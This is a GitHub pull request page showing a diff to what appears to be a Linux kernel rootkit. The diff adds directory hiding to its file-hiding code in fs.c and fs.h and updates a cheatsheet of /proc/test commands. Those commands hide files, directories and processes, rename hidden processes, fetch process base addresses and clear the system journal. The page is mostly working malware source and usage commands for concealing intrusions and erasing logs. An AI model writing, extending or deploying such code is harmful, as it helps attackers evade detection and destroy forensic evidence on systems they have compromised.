Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Dircount #151

Merged
merged 6 commits into from
Dec 4, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 17 additions & 8 deletions docs/cheatsheet-proc-interface.txt
Original file line number Diff line number Diff line change
Expand Up @@ -44,29 +44,38 @@
# At full-path
$ echo hide-file=/home/files/README.txt >/proc/test

#12 Hide README.txt globally - hide all instances of README.txt
#12 Hide/Unhide directories
# Hide At $PWD
$ echo hide-directory=README.txt >/proc/test
# Full-path
$ echo hide-directory=/home/files/Dir1 >/proc/test
# Unhide
$ echo unhide-directory=Dir1 >/proc/test

#13 Hide README.txt globally - hide all instances of README.txt
# bypass #10 and #11
# Limitation: directories are not supported
$ echo hide-file-anywhere=README.txt >/proc/test

#15 Undo #12 - this bypass #11
#14 Undo #12 - this bypass #11
$ echo unhide-file=README.txt >/proc/test

#16 List hidden tasks - debug mode only
#15 List hidden tasks - debug mode only
$ echo list-hidden-tasks >/proc/test
$ dmesg

#17 List hidden files and directories - debug mode only
#16 List hidden files and directories - debug mode only
$ echo list-hidden-files >/proc/test
$ dmesg

#18 Fetch the base address of a running process by PID number
#17 Fetch the base address of a running process by PID number
$ echo base-address=<pid> >/proc/test
$ cat /proc/test

#19 Fetch Magik Word
#18 Fetch Magik Word
$ cat /proc/test

#20 Rename a hidden process
#19 Rename a hidden process
# First hide 1234 pid:
$ echo 1234 >/proc/test
# Then rename it at any time
Expand All @@ -76,7 +85,7 @@
# Or to print all tasks (hidden or not)
$ echo list-all-tasks > /proc/test

#23 Clear journal
#20 Clear journal
# May need to be called twice,
# until it is cleared, given vacuum limitation.
# check with journalctl
Expand Down
129 changes: 84 additions & 45 deletions src/fs.c
Original file line number Diff line number Diff line change
Expand Up @@ -156,9 +156,11 @@
static LIST_HEAD(names_node);
struct hidden_names {
u64 ino;
u64 ino_parent;
char *name;
struct list_head list;
bool ro;
bool is_dir;
};

bool fs_search_name(const char *name, u64 ino) {
Expand All @@ -176,73 +178,90 @@
return false;
}

int fs_is_dir_inode_hidden(const char *name, u64 ino) {
struct hidden_names *node, *node_safe;
int count = 0;
list_for_each_entry_safe(node, node_safe, &names_node, list) {
if (node->is_dir && ino == node->ino_parent)
count++;
}
return count;
}

void fs_list_names(void) {
struct hidden_names *node, *node_safe;
list_for_each_entry_safe(node, node_safe, &names_node, list) {
prinfo("hidden: '%s'\n", node->name);
if (node->is_dir) {
prinfo("hidden: '%s' [directory] ino=%llu ino_parent=%llu\n", node->name, node->ino, node->ino_parent);
} else {
prinfo("hidden: '%s' ino=%llu\n", node->name, node->ino);
}
}
}

static int _fs_add_name(const char *names[], bool ro, u64 ino) {
const char **s;
static int _fs_add_name(const char *name, bool ro, u64 ino, u64 ino_parent, bool is_dir) {
size_t len;

if (!names)
if (!name)
goto err;

for (s = names; *s != NULL; ++s) {
size_t len = strlen(*s);
if (!len)
continue;

if (!fs_search_name(*s, ino)) {
struct hidden_names *hn = kcalloc(1, sizeof(struct hidden_names) , GFP_KERNEL);
if (!hn)
return -ENOMEM;

hn->name = kcalloc(1, len+1, GFP_KERNEL);
strncpy(hn->name, (const char*)*s, len);
hn->ro = ro;
hn->ino = ino;
/** the gap caused by banned words
* is the most fun
*/
prinfo("hide: '%s'\n", hn->name);
list_add_tail(&hn->list, &names_node);
}
len = strlen(name);
if (!len)
goto err;


if (!fs_search_name(name, ino)) {
struct hidden_names *hn = kcalloc(1, sizeof(struct hidden_names) , GFP_KERNEL);
if (!hn)
return -ENOMEM;

hn->name = kcalloc(1, len+1, GFP_KERNEL);
strncpy(hn->name, (const char*)name, len);
hn->ro = ro;
hn->ino = ino;
hn->is_dir = is_dir;
hn->ino_parent = ino_parent;
/** the gap caused by banned words
* is the most fun
*/
prinfo("hide: '%s'\n", hn->name);
list_add_tail(&hn->list, &names_node);
}
return 0;
err:
prerr("Invalid argument\n");
return -EINVAL;
}

int fs_add_name_ro(const char *names[], u64 ino) {
return _fs_add_name(names, true, ino);
int fs_add_name_ro(const char *name, u64 ino) {
return _fs_add_name(name, true, ino, 0, false);
}

int fs_add_name_rw(const char *name, u64 ino) {
return _fs_add_name(name, false, ino, 0, false);
}

int fs_add_name_rw(const char *names[], u64 ino) {
return _fs_add_name(names, false, ino);
int fs_add_name_rw_dir(const char *name, u64 ino, u64 ino_parent, bool is_dir) {
return _fs_add_name(name, false, ino, ino_parent, is_dir);
}

bool fs_del_name(const char *names[]) {
bool fs_del_name(const char *name) {
struct hidden_names *node, *node_safe;
int deleted = 0;

if (names) {
struct hidden_names *node, *node_safe;
const char **s;
for (s = names; *s != NULL; ++s) {
list_for_each_entry_safe(node, node_safe, &names_node, list) {
if (node->ro) continue;
if (!strcmp(node->name, *s)) {
prinfo("unhide: '%s'\n", *s);
list_del(&node->list);
if (node->name)
kfree(node->name);
kfree(node);
node = NULL;
++deleted;
}
}
if (!name)
return false;

list_for_each_entry_safe(node, node_safe, &names_node, list) {
if (node->ro) continue;
if (!strcmp(node->name, name)) {
prinfo("unhide: '%s'\n", name);
list_del(&node->list);
if (node->name)
kfree(node->name);
kfree(node);
node = NULL;

Check notice

Code scanning / CodeQL

For loop variable changed in body Note

Loop counters should not be modified in the body of the
loop
.
++deleted;
}
}

Expand All @@ -260,6 +279,26 @@
}
}

static struct inode *_fs_get_parent_inode(struct path *file_path) {
struct dentry *parent_dentry;
if (!file_path) {
prerr("%s: invalid argument: %p\n", __FUNCTION__, file_path);
return NULL;
}

parent_dentry = dget_parent(file_path->dentry);
if (parent_dentry)
return parent_dentry->d_inode;
return NULL;
}

u64 fs_get_parent_inode(struct path *file_path) {
struct inode *inode = _fs_get_parent_inode(file_path);
if (inode)
return inode->i_ino;
return 0;
}

struct file *fs_kernel_open_file(const char *name) {
struct file *filp;

Expand Down
24 changes: 12 additions & 12 deletions src/fs.h
Original file line number Diff line number Diff line change
Expand Up @@ -21,18 +21,18 @@ bool fs_file_stat(struct path *, struct kstat *);
* This function allocates data that must
* be freed when no longer needed.
*/
struct fs_file_node *fs_get_file_node(const struct task_struct *task);

bool fs_search_name(const char *name, u64);
struct fs_file_node *fs_get_file_node(const struct task_struct *);
bool fs_search_name(const char *, u64);
void fs_list_names(void);
int fs_add_name_ro(const char **, u64);
int fs_add_name_rw(const char **, u64);
bool fs_del_name(const char **);
int fs_add_name_ro(const char *, u64);
int fs_add_name_rw(const char *, u64);
int fs_add_name_rw_dir(const char *, u64, u64, bool);
bool fs_del_name(const char *);
void fs_names_cleanup(void);
struct fs_file_node *fs_load_fnode(struct file *f);


struct file *fs_kernel_open_file(const char *name);
struct fs_file_node *fs_load_fnode(struct file *);
struct file *fs_kernel_open_file(const char *);
u64 fs_get_parent_inode(struct path *);
int fs_is_dir_inode_hidden(const char *name, u64 ino);

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0)
ssize_t fs_kernel_write_file(struct file *, const void *, size_t, loff_t *);
Expand All @@ -42,6 +42,6 @@ ssize_t fs_kernel_write_file(struct file *, const char *, size_t, loff_t);
int fs_kernel_read_file(struct file *, loff_t, char *, unsigned long);
#endif

int fs_kernel_close_file(struct file *filp);
int fs_file_rm(char *name);
int fs_kernel_close_file(struct file *);
int fs_file_rm(char *);
#endif //__FS_H
Loading
Loading